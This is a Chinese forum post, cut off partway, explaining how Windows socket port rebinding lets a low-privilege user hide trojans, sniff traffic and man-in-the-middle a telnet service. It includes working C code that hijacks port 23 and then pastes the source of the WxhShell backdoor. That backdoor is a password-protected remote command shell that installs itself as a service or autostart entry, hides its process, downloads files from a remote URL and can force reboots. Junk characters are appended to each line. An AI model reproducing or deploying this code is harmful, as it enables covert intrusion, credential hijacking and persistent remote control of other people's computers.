社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19026阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]7S f)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t&J A1|q  
U$& '>%#  
  saddr.sin_family = AF_INET; vIOGDI>  
K.Y`/<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,1N|lyV   
/o'lGvw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |vl~B|",  
}_XiRm<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w]{c*4o  
x;z=[eE  
  这意味着什么?意味着可以进行如下的攻击: *K;) ~@n  
?{^_z_,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -mG`* 0  
p$'S\W|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vJ^~J2#5  
'g,h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^4^N}7>5  
:,Y1#_\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~i>DF`w$  
!W@mW 5J|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -8Mb~Hfl0  
DR}I+<*%aD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _Tor9Tj  
nM2<u[{gF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?<C(ga  
(b<0=U   
  #include 7KhS{w6  
  #include rMbq_5}  
  #include DlE,aYB  
  #include    $">j~!'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kF~(B]W(  
  int main() k/wD@H N  
  { qfE0J;e   
  WORD wVersionRequested; 6Uk+a=Ar  
  DWORD ret; 7` ;sX?R  
  WSADATA wsaData; W wPzm?30  
  BOOL val; *0!p_Hco  
  SOCKADDR_IN saddr; Hf]:m hH  
  SOCKADDR_IN scaddr; 9AX}V6\+  
  int err; u5k {.&  
  SOCKET s; L4m Vk  
  SOCKET sc; `HXv_9  
  int caddsize; zH}3J}  
  HANDLE mt; bN zb#P#hP  
  DWORD tid;   D~ Y6%9  
  wVersionRequested = MAKEWORD( 2, 2 ); n*wQgC'vw  
  err = WSAStartup( wVersionRequested, &wsaData ); i`r`Fj}-S-  
  if ( err != 0 ) { BL16?&RK  
  printf("error!WSAStartup failed!\n"); 4F#H$`:[  
  return -1; 3U{ mC}F  
  } d ,98W=7  
  saddr.sin_family = AF_INET; ',0:/jSz  
   VbvP!<8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T3{~f  
/h+ W L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); },l i'r#p  
  saddr.sin_port = htons(23); \j`0 f=z_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y&,|+h  
  { 'lA}E  
  printf("error!socket failed!\n"); ZPG,o5`%  
  return -1; :.e'?a  
  } ^rVHaI  
  val = TRUE; VRQ`-#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c.IUqin  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .b3h?R*&  
  { fc*>ky.v  
  printf("error!setsockopt failed!\n"); 1#,4P1"  
  return -1; rxgSQ+G_  
  } $lf/Mg_H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t2(X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .))j R:{3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =eU=\td^  
vYm:V:7Y2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "@eGgQ  
  { I0 ~'z f  
  ret=GetLastError(); .h=n [`RB  
  printf("error!bind failed!\n"); 1Z< ^8L<  
  return -1; 8>e YM  
  } uS`}  
  listen(s,2); 9Q4{ cB  
  while(1) {fACfSW6  
  { F(ydqgH~a  
  caddsize = sizeof(scaddr); Hq W /  
  //接受连接请求 .t1:;H b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w{*kbGB8s7  
  if(sc!=INVALID_SOCKET) KSchgon0V  
  { <!Cjq,Sk7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h$'6."I  
  if(mt==NULL) 6U*CR=4  
  { l!x+K&  
  printf("Thread Creat Failed!\n"); zX_F+"]THt  
  break; O3o ^%0  
  } Xs052c|s  
  } metn&  
  CloseHandle(mt); mxgT}L0i  
  } t8-Nli*O  
  closesocket(s); )hrsA&1w  
  WSACleanup(); $WIVCp  
  return 0; LRu,_2"  
  }   r89AX{:  
  DWORD WINAPI ClientThread(LPVOID lpParam) /&Oo)OB;  
  { l|WFS  
  SOCKET ss = (SOCKET)lpParam; i|1*bZ6'  
  SOCKET sc; %Z_O\zRqy)  
  unsigned char buf[4096]; U_*, XLU  
  SOCKADDR_IN saddr; n>,:*5"G  
  long num; 'M~`IN`  
  DWORD val; *ai~!TR  
  DWORD ret; ^H.B6h?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w UxFE=ia  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9?,i+\)qK@  
  saddr.sin_family = AF_INET; >whv*@Fr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #!F>cez  
  saddr.sin_port = htons(23); xA Ez1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S<i1t[E @W  
  { IQO|)53)  
  printf("error!socket failed!\n"); >g{&Qx`&  
  return -1; P_A@`eU0  
  } dzOco)y  
  val = 100; 3LETzsJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gvR]"h  
  { _s5^\~ao  
  ret = GetLastError(); H}kZ;8  
  return -1; (s;W>,~q  
  } C~pas~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %cSx`^`6j  
  { $@'BB=i  
  ret = GetLastError(); X3}eq|r9  
  return -1; \:J=tAC  
  } c},pu[nL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IADHe\.  
  { 3Tu]-.  
  printf("error!socket connect failed!\n"); T<0r,  
  closesocket(sc); HQP.7.w7 5  
  closesocket(ss); Li6|c*K'  
  return -1; =\.*CY|;N  
  } G*N[tw  
  while(1) `Qo37B2  
  { j $q5m 24L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~wDXjn"U&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I0zx'x)F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BEaF-*?A  
  num = recv(ss,buf,4096,0); @??3d9I  
  if(num>0) _!o8s%9be  
  send(sc,buf,num,0); $!*>5".A  
  else if(num==0) !0@4*>n  
  break; o9e8Oj&  
  num = recv(sc,buf,4096,0); )K{s^]Jp  
  if(num>0) )9`HO?   
  send(ss,buf,num,0); |;US)B8}*Z  
  else if(num==0) Dq<la+VlO  
  break; :+/8n+@#  
  } n!z!fh  
  closesocket(ss); V,rc&97  
  closesocket(sc); -E?:W`!  
  return 0 ; %FYhq:j  
  } 5\pS8<RJ;  
7_2D4CI  
sg7h&<Xx  
========================================================== CnB[ImMs(A  
h}@wPP{  
下边附上一个代码,,WXhSHELL 3FR(gr$X  
SQ,-45@W  
========================================================== -kk7y  
j_2g*lQ7a  
#include "stdafx.h" TMMKRC1<  
_+B y=B.'  
#include <stdio.h> P#hRqETw  
#include <string.h> \eKXsO"d  
#include <windows.h> 1.+O2qB  
#include <winsock2.h> }%Mdf6LS64  
#include <winsvc.h> :o8`2Z*g  
#include <urlmon.h>  nz?[  
UAF$bR  
#pragma comment (lib, "Ws2_32.lib") #S?^?3d  
#pragma comment (lib, "urlmon.lib") %8n<#0v-|4  
"BSY1?k{  
#define MAX_USER   100 // 最大客户端连接数 #<)[{+f[t  
#define BUF_SOCK   200 // sock buffer ht2Fi e  
#define KEY_BUFF   255 // 输入 buffer UH>~Y N  
7_ix&oVI  
#define REBOOT     0   // 重启 ch8VJ^%Ra1  
#define SHUTDOWN   1   // 关机 4u iq'-  
i6V$mhL  
#define DEF_PORT   5000 // 监听端口 w317]-n  
="$w8iRU  
#define REG_LEN     16   // 注册表键长度 A.r7 ks  
#define SVC_LEN     80   // NT服务名长度 &b#d4p6&l  
&Gh,ROo4  
// 从dll定义API mj'~-$5T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ltuV2.$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vx<{cHQQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;9j ]P56  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +=J $:/&U  
Em&3g  
// wxhshell配置信息 5Hu[*  
struct WSCFG { anW['!T9{s  
  int ws_port;         // 监听端口 w3(G!:  
  char ws_passstr[REG_LEN]; // 口令 4N,[Gs<7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8~O#@hB~3  
  char ws_regname[REG_LEN]; // 注册表键名 clU ?bF~e1  
  char ws_svcname[REG_LEN]; // 服务名 *}89.kCBF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )(G<(eiD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tlQ6>v'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W]eILCo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l!:bNMd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iO*5ClB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tM"vIz 05  
dQIF '==6  
}; d=bK NA90  
Oz%6y ri  
// default Wxhshell configuration ;t+p2i  
struct WSCFG wscfg={DEF_PORT, 6ZI Pe~`  
    "xuhuanlingzhe", 01@ WU1IN  
    1, S Q:H2vvD  
    "Wxhshell", :0y-n.-{  
    "Wxhshell", Nmx\qJUR(  
            "WxhShell Service", ` 1+*-g^r  
    "Wrsky Windows CmdShell Service", (m2%7f.I  
    "Please Input Your Password: ", /)TeG]Xg  
  1, b<y*:(:  
  "http://www.wrsky.com/wxhshell.exe", y?UJ <QAi  
  "Wxhshell.exe" TI3xt-/  
    }; o`n8Fk}i  
P-ZvW<M  
// 消息定义模块 XcoX8R%U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9!=4}:+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p|->z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6kp)'wz`  
char *msg_ws_ext="\n\rExit."; A~Sc ] M  
char *msg_ws_end="\n\rQuit."; +>C26Q  
char *msg_ws_boot="\n\rReboot..."; Y[L,rc/j  
char *msg_ws_poff="\n\rShutdown..."; |5(un#  
char *msg_ws_down="\n\rSave to "; Jy:*GW6  
%6(\Ki6I  
char *msg_ws_err="\n\rErr!"; 2T*kmDp  
char *msg_ws_ok="\n\rOK!"; "*#f^/LS  
--y,ky#  
char ExeFile[MAX_PATH]; Pa{DB?P  
int nUser = 0; w aniCE o  
HANDLE handles[MAX_USER]; lB _9b_|2  
int OsIsNt; ?:/J8s [O  
]uFJ~ :R  
SERVICE_STATUS       serviceStatus; FMCA~N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W2XWb<QSEV  
:a Cf@:']  
// 函数声明 yI8 O#  
int Install(void); TkTGYh  
int Uninstall(void); fASklcQ  
int DownloadFile(char *sURL, SOCKET wsh); {s@!N  
int Boot(int flag); Ydsnu  
void HideProc(void); Q#yHH]U)X  
int GetOsVer(void); 1^o})9  
int Wxhshell(SOCKET wsl); 2n>mISy+  
void TalkWithClient(void *cs); }2LG9B%  
int CmdShell(SOCKET sock); fV4eGIR&  
int StartFromService(void); P\ P=1NM  
int StartWxhshell(LPSTR lpCmdLine); xKL(:ePS  
]u|FcwWc3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aT2%Az@j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xb[yy}>"L  
?W ^`Fa)]o  
// 数据结构和表定义 MMjewGxe  
SERVICE_TABLE_ENTRY DispatchTable[] = ):G+*3yb  
{ /|U;_F Pmc  
{wscfg.ws_svcname, NTServiceMain}, x3'ANw6E  
{NULL, NULL} 2 Ax(q&`9  
}; VB/75xK_  
=UO7!vr;[  
// 自我安装 U !+O+(  
int Install(void) hFoeVM[h  
{ 0o7o;eN  
  char svExeFile[MAX_PATH]; -U> )B  
  HKEY key; [i~@X2:Al  
  strcpy(svExeFile,ExeFile); dj084q7  
H)TKk%`7  
// 如果是win9x系统,修改注册表设为自启动 GKg #nXS  
if(!OsIsNt) { JqLPJUr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Cf@!wZ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  XU"G  
  RegCloseKey(key); Wx/PD=Sf&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *9KT@"v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I@N/Y{y#  
  RegCloseKey(key); w@P86'< v  
  return 0; -GL.8" c[  
    } b6e 2a/x  
  } HHyN\  
} <AVWT+,  
else { dn~k_J=p  
W"/,<xHuh  
// 如果是NT以上系统,安装为系统服务 #lFsgb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ow (YgM>t  
if (schSCManager!=0) lnl>!z  
{ :p<:0W2!  
  SC_HANDLE schService = CreateService f~?5;f:E  
  ( Yc[vH=gV}  
  schSCManager, p&(z'd  
  wscfg.ws_svcname, f 4K)Z e  
  wscfg.ws_svcdisp, +tkm,>s  
  SERVICE_ALL_ACCESS, ]\ZJaU80I~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I7XM2xM  
  SERVICE_AUTO_START, Y]&2E/oc  
  SERVICE_ERROR_NORMAL, j5hQ;~Fa|  
  svExeFile, IwXQbJ3v_  
  NULL, ,UVd+rY}  
  NULL, vG}\Amx+  
  NULL,  iU{\a,  
  NULL, >PWDo  
  NULL :`yW^b  
  ); ,!AYeVq  
  if (schService!=0) KdlUa^}D  
  { %MtaWZ  
  CloseServiceHandle(schService); !Y^B{bh  
  CloseServiceHandle(schSCManager); bneP>Bd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L eUp!  
  strcat(svExeFile,wscfg.ws_svcname); q2Gm8>F1y.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iF##3H$c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L!5="s[}  
  RegCloseKey(key); F ww S[ 3  
  return 0; >r:z`^p  
    } 4[r:DM|8  
  } nm|"9|/  
  CloseServiceHandle(schSCManager); IQ#Kod;)  
} s?sr0HZ  
} .Pe^u%J6F  
,mp^t2  
return 1; U z)G Y  
} 0rDQJCm  
<aMihT)dd  
// 自我卸载  #s=\  
int Uninstall(void) wXeJjE%j:3  
{ =6'D/| 3  
  HKEY key; Hg]iZ,8?  
%E":Wv  
if(!OsIsNt) { wuqB['3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d m83YCdL  
  RegDeleteValue(key,wscfg.ws_regname); jA3Ir;a  
  RegCloseKey(key); <UwA5X`0e.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *q1sM#;5  
  RegDeleteValue(key,wscfg.ws_regname); KH$o X\v  
  RegCloseKey(key); >va9*pdJ  
  return 0; OYfP!,+bn  
  } ui*CA^ Y  
} "y .(E7 6  
} #=fd8}9  
else { 7&dPrnQX=  
v Dph}Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bsWDjV~  
if (schSCManager!=0) n QOLR? %  
{ !E/%Hv1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A@EUH  
  if (schService!=0) 9jUm0B{?  
  { {bp~_`O  
  if(DeleteService(schService)!=0) { @rW%*?$7  
  CloseServiceHandle(schService); KDAZG+u+  
  CloseServiceHandle(schSCManager); H?pWyc<,  
  return 0; N;av  
  } _@]@&^K$E  
  CloseServiceHandle(schService); :e4[isI  
  } -QydUr/(o  
  CloseServiceHandle(schSCManager); 5~omZ,qe  
} J$Ba*`~!!  
} 4[LzjC  
/#4BUfY f  
return 1; A.S:eQvS%  
} q1M16qv5  
CY8=prC  
// 从指定url下载文件 gl6*bB=  
int DownloadFile(char *sURL, SOCKET wsh) 9y"\]G77E  
{ ,OO0*%  
  HRESULT hr; kasx4m]^  
char seps[]= "/"; _i&awm/U  
char *token; OY#=s!] M  
char *file; S$fCO$bU  
char myURL[MAX_PATH]; ^sVB:?  
char myFILE[MAX_PATH]; F;dUqXUu  
)x&}{k6 %  
strcpy(myURL,sURL); e0u* \b  
  token=strtok(myURL,seps); $30lNZK1m8  
  while(token!=NULL) ^,Y#_$oR  
  { Si%K|$?@  
    file=token; & AlX).  
  token=strtok(NULL,seps); a@WSIcX*W  
  } 8h7z  
itIzs99j  
GetCurrentDirectory(MAX_PATH,myFILE); :~]ha  
strcat(myFILE, "\\"); ?)#}Nj<R  
strcat(myFILE, file); faaFmEC  
  send(wsh,myFILE,strlen(myFILE),0); "(#]H;!W  
send(wsh,"...",3,0); v.I>B3bEg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W 7Y5~%@  
  if(hr==S_OK)  ^'c[HVJ  
return 0; hAp<$7  
else KGb3n;]  
return 1; |Gh~Zu p  
-^LEGKN  
} GKKf#r74  
 snyg  
// 系统电源模块 _[.3I1kG  
int Boot(int flag) [Y]\sF;J  
{ y"SVZ} ;|  
  HANDLE hToken; qS|t7*  
  TOKEN_PRIVILEGES tkp; sIh,@b  
+V6N/{^ 5  
  if(OsIsNt) { %t^-Guz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $u./%JS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]\<^rEU  
    tkp.PrivilegeCount = 1; ?-0>Wbg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @d Coh-Q3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @'EU\Y\l  
if(flag==REBOOT) { n +z5;'my  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vrD]o1F  
  return 0; $fA%_T_P'P  
} xTW$9>@\m  
else { Y_49UtJIg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f?1?$Sp/W  
  return 0; X4U$#uI{  
} E=Z .v  
  } k%)QrRnB  
  else { SXA_P{j&a  
if(flag==REBOOT) { e 03q9(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jtxwt[  
  return 0; t)O$W   
} D f H>UA  
else { U_HOfix  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bm_'giQ:  
  return 0; WL<$(y:H  
} EnGVp<6R  
} C&m[/PJ~l  
Jiljf2h  
return 1; +Q3i&"QB.  
} W])<0R52  
L}1|R*b  
// win9x进程隐藏模块 >>voLDDd  
void HideProc(void) /8i3I5*  
{ gZe(aGh  
9a5x~Z:'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tTB,eR$  
  if ( hKernel != NULL ) Eh)PZvH  
  { |P si?'4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h7|#7 d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )8:Ltn%  
    FreeLibrary(hKernel);  cf#2Wg)  
  } !A )2<<4  
9""e*-;Mi  
return; ? -PRS.=%  
} l* =\0  
i[_WO2  
// 获取操作系统版本 C$~2FTx  
int GetOsVer(void) >'^Tp7\  
{ x4PA~R  
  OSVERSIONINFO winfo; c_ e2'K:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fG107{!g=  
  GetVersionEx(&winfo); db%o3>>e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fWKI~/eUY|  
  return 1; ;x*_h  
  else ~5[#c27E9  
  return 0; 9H9 P'lx9  
} LwV4p6A  
=1noT)gC R  
// 客户端句柄模块 j>(O1z 7  
int Wxhshell(SOCKET wsl) ) N*,cTE  
{ 0yhC_mI  
  SOCKET wsh; N|OI~boV%  
  struct sockaddr_in client; $ \j/s:Y  
  DWORD myID; |UN0jR  
82.::J'e  
  while(nUser<MAX_USER) '`#sOH  
{ IvFxI#.ju  
  int nSize=sizeof(client); *UVo>;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [=[>1<L>  
  if(wsh==INVALID_SOCKET) return 1; 59;p|  
diF-`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p0jQQg  
if(handles[nUser]==0) roDE?7x1  
  closesocket(wsh); 0drt,k  
else AM4lAq_  
  nUser++; _yi`relcq-  
  } h\#\hx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y[l*>}:w  
4NaL#3  
  return 0; 7JvBzD42  
} %l4LX~-:  
{k4)f ad\  
// 关闭 socket /a}F ;^  
void CloseIt(SOCKET wsh) e5/f%4YX  
{ `52+.*J+%  
closesocket(wsh); )YE3n-~7{  
nUser--; P;7JK=~k  
ExitThread(0); q#RUL!WF7U  
} lxIo P  
s9R#rwIc  
// 客户端请求句柄 J!40` 8i  
void TalkWithClient(void *cs) OIpkXM  
{ zPzy 0lx  
&\8qN_`  
  SOCKET wsh=(SOCKET)cs; _Mi`]VSq9  
  char pwd[SVC_LEN]; ]}t6V]`Q  
  char cmd[KEY_BUFF]; J:<mq5[  
char chr[1]; .E H&GX  
int i,j; 3 q1LIM  
6'YT3=  
  while (nUser < MAX_USER) { #aX+?z\4  
)k)HQcfjD  
if(wscfg.ws_passstr) { r%`g` It  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1>I4=mj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]_!5g3VQh  
  //ZeroMemory(pwd,KEY_BUFF); lyY\P6 X  
      i=0; e[<vVe!  
  while(i<SVC_LEN) { B 2p/  
gD}lDK6N  
  // 设置超时 . V5Pr}"y  
  fd_set FdRead; g=)B+SY'  
  struct timeval TimeOut; %b 8ig1  
  FD_ZERO(&FdRead); ?A4zIJ\  
  FD_SET(wsh,&FdRead); N|JM L  
  TimeOut.tv_sec=8; `fTH"l1zn  
  TimeOut.tv_usec=0; nHAET  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eh\_;2P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S#h-X(4  
~ _ ogeD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2/XrorV  
  pwd=chr[0]; b 6kDkE  
  if(chr[0]==0xd || chr[0]==0xa) { bSa%?laS  
  pwd=0; } Xbmb8  
  break; j<"@ Y7  
  } /e/%mo  
  i++; k P]'  
    } O52B  
* {avx  
  // 如果是非法用户,关闭 socket 8 5 L<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0d>|2QV   
} F9ytU>zh  
%y96]e1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {}.M(nPtv;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7+!FZo{?  
dC'8orFG+  
while(1) { `O+}$wP  
Dq07Z^#'  
  ZeroMemory(cmd,KEY_BUFF); F,dPmR  
h^QLvOuR  
      // 自动支持客户端 telnet标准   6 zyxGJ(  
  j=0; {ef9ov Xk  
  while(j<KEY_BUFF) { KgD sqwy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0tz7^:|D  
  cmd[j]=chr[0]; ^(+ X|t  
  if(chr[0]==0xa || chr[0]==0xd) { M `O=rH }  
  cmd[j]=0; qLjLfJJ2  
  break; u-s*3Lg&  
  } k|hy_? *  
  j++; o#Gf7.E8  
    } ~ 3!yd0 [k  
#%9t-  
  // 下载文件 9%#u,I  
  if(strstr(cmd,"http://")) { LZ=E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NqlU?  
  if(DownloadFile(cmd,wsh)) /Fr*k5I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ez1-Nx  
  else v[Mh[CyB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3VZ}5  
  } 14~#k%zO(  
  else { FhP$R}F  
AU$<W"%R  
    switch(cmd[0]) { tDC?St1  
  at|.Q*&a#  
  // 帮助 } yb"/jp  
  case '?': { tZXq<k9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V7 OhOLK8  
    break; \sn wR  
  } O#_\@f#[  
  // 安装 c9ye[81  
  case 'i': { UuKW`(?^  
    if(Install()) /4I9Elr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "F[e~S#V*  
    else #x+7-hi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Uw"`l  
    break; gB<1;_KW  
    } m2a [ E0  
  // 卸载 ZGw 6Bd_I  
  case 'r': { %!\iII  
    if(Uninstall()) X :#}E7]j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {^@vCBE+  
    else rff_=(?i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SpO%nZ";g8  
    break; 01n7ua*XX  
    } ]."t  
  // 显示 wxhshell 所在路径 x'v-]C(@  
  case 'p': { r9Vt}]$aG  
    char svExeFile[MAX_PATH]; g#iRkz%l)&  
    strcpy(svExeFile,"\n\r"); + Pc2`,pw|  
      strcat(svExeFile,ExeFile); ,.HS )<B  
        send(wsh,svExeFile,strlen(svExeFile),0); 6fm oI K{  
    break; cd&sAK"  
    } @ N@ !Q  
  // 重启 yHo#v:>?p  
  case 'b': { LVaJyI@/>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !ra,HkU'  
    if(Boot(REBOOT)) J[{ R:l\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *DgRF/S  
    else { A I v  
    closesocket(wsh); M?00n< vM  
    ExitThread(0); =B{B ?B"r  
    } \"a~~Koe  
    break; B)x^S >  
    } e +Ikw1y"f  
  // 关机 !lL~#l:F  
